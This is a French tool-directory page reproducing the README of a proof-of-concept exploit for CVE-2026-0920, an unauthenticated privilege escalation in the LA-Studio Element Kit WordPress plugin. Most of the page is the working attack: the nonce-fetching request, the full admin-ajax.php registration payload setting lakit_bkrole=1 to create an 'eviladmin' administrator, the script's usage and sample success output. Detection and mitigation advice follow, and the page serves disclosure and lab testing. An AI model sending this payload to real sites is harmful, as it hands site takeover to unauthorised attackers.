Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-0920 — Preuve de concept d'exploitation pour CVE-2026-0920, une élévation de privilèges non authentifiée dans le plugin WordPress LA-Studio Element Kit, permettant la création de comptes administrateur. | Kitploit
Outils/GitHubGitHub/k3ystr0k3r/cve-2026-0920
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubk3ystr0k3r/cve-2026-0920

CVE-2026-0920

Preuve de concept d'exploitation pour CVE-2026-0920, une élévation de privilèges non authentifiée dans le plugin WordPress LA-Studio Element Kit, permettant la création de comptes administrateur.

Voir le dépôt
1il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-0920 - LA-Studio Element Kit / Élévation de privilèges non authentifiée

Une preuve de concept d'exploitation pour CVE-2026-0920, une vulnérabilité d'élévation de privilèges non authentifiée dans le plugin WordPress LA-Studio Element Kit.

La vulnérabilité permet à un attaquant non authentifié d'abuser de la fonctionnalité d'inscription du plugin et de créer un compte WordPress avec des privilèges d'administrateur.

Ce dépôt contient une preuve de concept en Python conçue pour la recherche en sécurité autorisée, la validation de vulnérabilités et les environnements de laboratoire contrôlés.


Aperçu

PropriétéValeur
CVECVE-2026-0920
ÉditeurLA-Studio
ProduitElement Kit
PlateformeWordPress
VulnérabilitéÉlévation de privilèges non authentifiée
Authentification requiseNon
CWECWE-269
ImpactCréation de compte administrateur
PoCexploit.py

La vulnérabilité existe dans la fonctionnalité d'inscription du plugin, où des données d'inscription contrôlées par l'attaquant peuvent influencer le privilège attribué à un compte WordPress nouvellement créé.

Le paramètre vulnérable est :

root@kitploit:~
lakit_bkrole

En fournissant une valeur de rôle élevée lors de l'inscription, un attaquant non authentifié peut amener le compte nouvellement créé à recevoir des privilèges d'administrateur WordPress.


Description de la vulnérabilité

LA-Studio Element Kit fournit une fonctionnalité d'inscription d'utilisateurs via un gestionnaire d'inscription basé sur AJAX.

Le flux vulnérable expose un mécanisme d'inscription via :

root@kitploit:~
/wp-admin/admin-ajax.php

La requête utilise l'action AJAX :

root@kitploit:~
lakit_ajax

et effectue une opération d'inscription en utilisant :

root@kitploit:~
{
  "action": "register"
}

Le problème de sécurité survient car la logique d'inscription côté serveur n'empêche pas correctement un client non authentifié de fournir une valeur de rôle privilégiée via :

root@kitploit:~
lakit_bkrole=1

Un attaquant peut donc construire une requête d'inscription qui aboutit à la création d'un compte WordPress avec le rôle administrator.

Aucun compte WordPress existant n'est requis pour effectuer l'attaque.


Déroulement de l'attaque

La PoC effectue un processus en trois étapes :

root@kitploit:~
                    ┌──────────────────────┐
                    │  Point de terminaison│
                    │  Bootstrap           │
                    │                      │
                    │ Obtenir le nonce et  │
                    │ les informations du  │
                    │ plugin               │
                    └──────────┬───────────┘
                               │
                               ▼
                    ┌──────────────────────┐
                    │ Requête d'inscription│
                    │                      │
                    │ lakit_ajax           │
                    │ action=register      │
                    │ lakit_bkrole=1       │
                    └──────────┬───────────┘
                               │
                               ▼
                    ┌──────────────────────┐
                    │ Vérification         │
                    │                      │
                    │ Localiser l'utilisateur créé │
                    │ Confirmer le rôle    │
                    │ d'administrateur     │
                    └──────────────────────┘

L'exploit ne repose pas uniquement sur la réponse d'inscription.

Au lieu de cela, il vérifie que le compte nouvellement créé existe réellement et possède des privilèges d'administrateur.


Détails techniques

Étape 1 — Point de terminaison Bootstrap

La première requête cible :

root@kitploit:~
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close

Exemple :

root@kitploit:~
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap

Une instance de laboratoire vulnérable peut renvoyer :

root@kitploit:~
{
  "wordpress": "6.5.5",
  "lastudio_element_kit": "1.5.6.3",
  "ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
  "nonce": "577023f674",
  "users": [
    {
      "id": 1,
      "user_login": "admin",
      "user_email": "[email protected]",
      "roles": [
        "administrator"
      ]
    }
  ]
}

La PoC extrait le nonce de :

root@kitploit:~
"nonce": "577023f674"

Le nonce est ensuite fourni à la requête d'inscription.

La réponse bootstrap peut également exposer les utilisateurs actuellement enregistrés, ce qui permet à la PoC de comparer la liste des utilisateurs avant et après l'exploitation.


Étape 2 — Requête d'inscription non authentifiée

La PoC envoie la requête d'inscription à :

root@kitploit:~
/wp-admin/admin-ajax.php

La requête utilise :

root@kitploit:~
action=lakit_ajax

avec une action d'inscription imbriquée :

root@kitploit:~
action=register

Une requête représentative est :

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close

action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}

Les données d'inscription pertinentes sont :

root@kitploit:~
{
  "username": "eviladmin",
  "email": "[email protected]",
  "password": "Passw0rd!",
  "password-confirm": "Passw0rd!",
  "lakit_bkrole": "1"
}

Le paramètre sensible pour la sécurité est :

root@kitploit:~
lakit_bkrole=1

La requête est effectuée sans session WordPress authentifiée.


Réponse d'inscription

Une requête d'inscription réussie renvoie une réponse HTTP 200 OK.

Exemple :

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

La réponse JSON est structurée de manière similaire à :

root@kitploit:~
{
  "success": true,
  "data": {
    "responses": {
      "cve_2026_0920": {
        "success": true,
        "code": 200,
        "data": {
          "type": "success",
          "message": "Your account was created successfully. Your login details have been sent to your email address."
        }
      }
    }
  }
}

La PoC signale :

root@kitploit:~
[+] User creation appears successful.

Cependant, la PoC ne considère pas cette réponse en soi comme une preuve suffisante d'élévation de privilèges.

Le compte est vérifié à l'étape suivante.


Étape 3 — Vérification des privilèges

Après l'inscription, la PoC demande à nouveau le point de terminaison bootstrap :

root@kitploit:~
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close

La réponse contient désormais le compte nouvellement créé.

Exemple :

root@kitploit:~
{
  "wordpress": "6.5.5",
  "lastudio_element_kit": "1.5.6.3",
  "ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
  "nonce": "577023f674",
  "users": [
    {
      "id": 1,
      "user_login": "admin",
      "user_email": "[email protected]",
      "roles": [
        "administrator"
      ]
    },
    {
      "id": 2,
      "user_login": "eviladmin",
      "user_email": "[email protected]",
      "roles": [
        "administrator"
      ]
    }
  ]
}

La preuve critique est :

root@kitploit:~
{
  "user_login": "eviladmin",
  "roles": [
    "administrator"
  ]
}

Cela confirme que le compte contrôlé par l'attaquant a été créé avec des privilèges d'administrateur.


Pourquoi il s'agit d'une élévation de privilèges

Un processus d'inscription non authentifié normal devrait créer un compte avec un rôle restreint tel que :

root@kitploit:~
subscriber

Le client ne devrait pas être autorisé à sélectionner un rôle WordPress privilégié.

Le flux vulnérable permet effectivement :

root@kitploit:~
Attaquant non authentifié
        |
        v
Point de terminaison d'inscription
        |
        v
Paramètre de rôle contrôlé par l'attaquant
        |
        v
Création d'utilisateur WordPress
        |
        v
administrator

Cela franchit la frontière de privilèges prévue sans nécessiter d'authentification préalable.


Preuve de concept

Prérequis

La PoC nécessite :

root@kitploit:~
Python 3
Accès réseau à la cible
Une installation vulnérable de LA-Studio Element Kit

Aucun identifiant WordPress n'est requis.


Utilisation

Exécutez l'exploit en utilisant l'adresse et le port de la cible :

root@kitploit:~
python exploit.py -t 127.0.0.1 -p 8103

La syntaxe est :

root@kitploit:~
python exploit.py -t <cible> -p <port>

Par exemple :

root@kitploit:~
python exploit.py -t 127.0.0.1 -p 8103

Exemple de sortie

Une exécution d'exploitation réussie ressemble à :

root@kitploit:~
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103

[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
    URL: http://127.0.0.1:8103/wp-admin
    User: eviladmin
    Pass: Passw0rd!

Les étapes de vérification importantes sont :

root@kitploit:~
[+] User creation appears successful.

suivies de :

root@kitploit:~
[+] User 'eviladmin' found. Roles: ['administrator']

et enfin :

root@kitploit:~
[+] Confirmed administrator privilege!

Le message final indique que la PoC a vérifié l'élévation de privilèges plutôt que de simplement recevoir une réponse HTTP réussie.


Séquence d'exploitation

L'exécution complète de la PoC peut être résumée comme suit :

root@kitploit:~
1. Cible spécifiée
        |
        v
2. Point de terminaison bootstrap demandé
        |
        v
3. Nonce d'inscription extrait
        |
        v
4. Utilisateurs existants énumérés
        |
        v
5. Requête d'inscription malveillante soumise
        |
        v
6. Nouveau compte créé
        |
        v
7. Point de terminaison bootstrap interrogé à nouveau
        |
        v
8. Nouveau compte localisé
        |
        v
9. Rôle du compte vérifié
        |
        v
10. Privilège d'administrateur confirmé

Résumé des requêtes HTTP

Requête 1 — Bootstrap

root@kitploit:~
GET /wp-json/cve-2026-0920/v1/bootstrap

Objectif :

root@kitploit:~
- Identifier le plugin
- Obtenir le nonce
- Obtenir le point de terminaison d'inscription
- Enregistrer les utilisateurs existants

Requête 2 — Inscription

root@kitploit:~
POST /wp-admin/admin-ajax.php

Paramètres importants :

root@kitploit:~
action=lakit_ajax
_nonce=<nonce>
actions=<JSON d'inscription>

Données d'inscription :

root@kitploit:~
username=<nom d'utilisateur contrôlé par l'attaquant>
email=<e-mail contrôlé par l'attaquant>
password=<mot de passe contrôlé par l'attaquant>
password-confirm=<mot de passe contrôlé par l'attaquant>
lakit_bkrole=1

Objectif :

root@kitploit:~
Créer le compte contrôlé par l'attaquant.

Requête 3 — Vérification

root@kitploit:~
GET /wp-json/cve-2026-0920/v1/bootstrap

Objectif :

root@kitploit:~
- Confirmer que le compte existe
- Inspecter le rôle du compte
- Vérifier les privilèges d'administrateur

L'exploitation réussie est confirmée lorsque la réponse contient le compte généré avec :

root@kitploit:~
"roles": [
  "administrator"
]

Impact

Une exploitation réussie donne à un attaquant non authentifié un compte administrateur WordPress.

Selon l'installation WordPress, l'accès administrateur peut permettre à un attaquant de :

root@kitploit:~
- Modifier le contenu du site
- Créer des comptes privilégiés supplémentaires
- Modifier les plugins
- Modifier les thèmes
- Modifier les paramètres WordPress
- Accéder aux fonctionnalités administratives privilégiées
- Modifier les données de l'application
- Potentiellement exécuter du code côté serveur via les fonctionnalités WordPress disponibles

L'impact final dépend de la configuration d'hébergement, des plugins activés, des contrôles de sécurité WordPress et des fonctionnalités administratives disponibles.


Recommandations de détection

Les défenseurs doivent surveiller les requêtes inattendues impliquant :

root@kitploit:~
/wp-admin/admin-ajax.php

combinées avec :

root@kitploit:~
action=lakit_ajax

et les requêtes d'inscription contenant :

root@kitploit:~
lakit_bkrole

Les comptes administrateur WordPress inattendus doivent également être examinés.

Un contrôle défensif particulièrement utile consiste à auditer les comptes récemment créés et à comparer leurs horodatages et rôles avec l'activité administrative légitime.


Atténuation

L'atténuation principale consiste à mettre à jour LA-Studio Element Kit vers une version contenant le correctif de sécurité.

Les administrateurs doivent également :

root@kitploit:~
- Examiner les comptes administrateur existants
- Supprimer les comptes non autorisés
- Auditer la création récente d'utilisateurs WordPress
- Surveiller les requêtes admin-ajax suspectes
- Restreindre l'exposition inutile des fonctionnalités administratives WordPress
- Maintenir WordPress et les plugins installés à jour

Si une compromission est suspectée, faites pivoter les identifiants WordPress concernés et enquêtez sur d'éventuelles modifications non autorisées supplémentaires.


Environnement testé

La PoC a été testée dans un environnement de laboratoire contrôlé avec :

root@kitploit:~
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Serveur Web: Apache/2.4.59
PHP: 8.2.21
Cible: http://127.0.0.1:8103

Le test réussi a abouti à :

root@kitploit:~
Utilisateur: eviladmin
Rôle: administrator

Avertissement

Ce projet est fourni pour la recherche en sécurité autorisée, la validation de vulnérabilités et l'utilisation en laboratoire éducatif.

Ne testez que les systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite.

N'utilisez pas cette PoC contre des systèmes sans autorisation.

Télécharger l’outil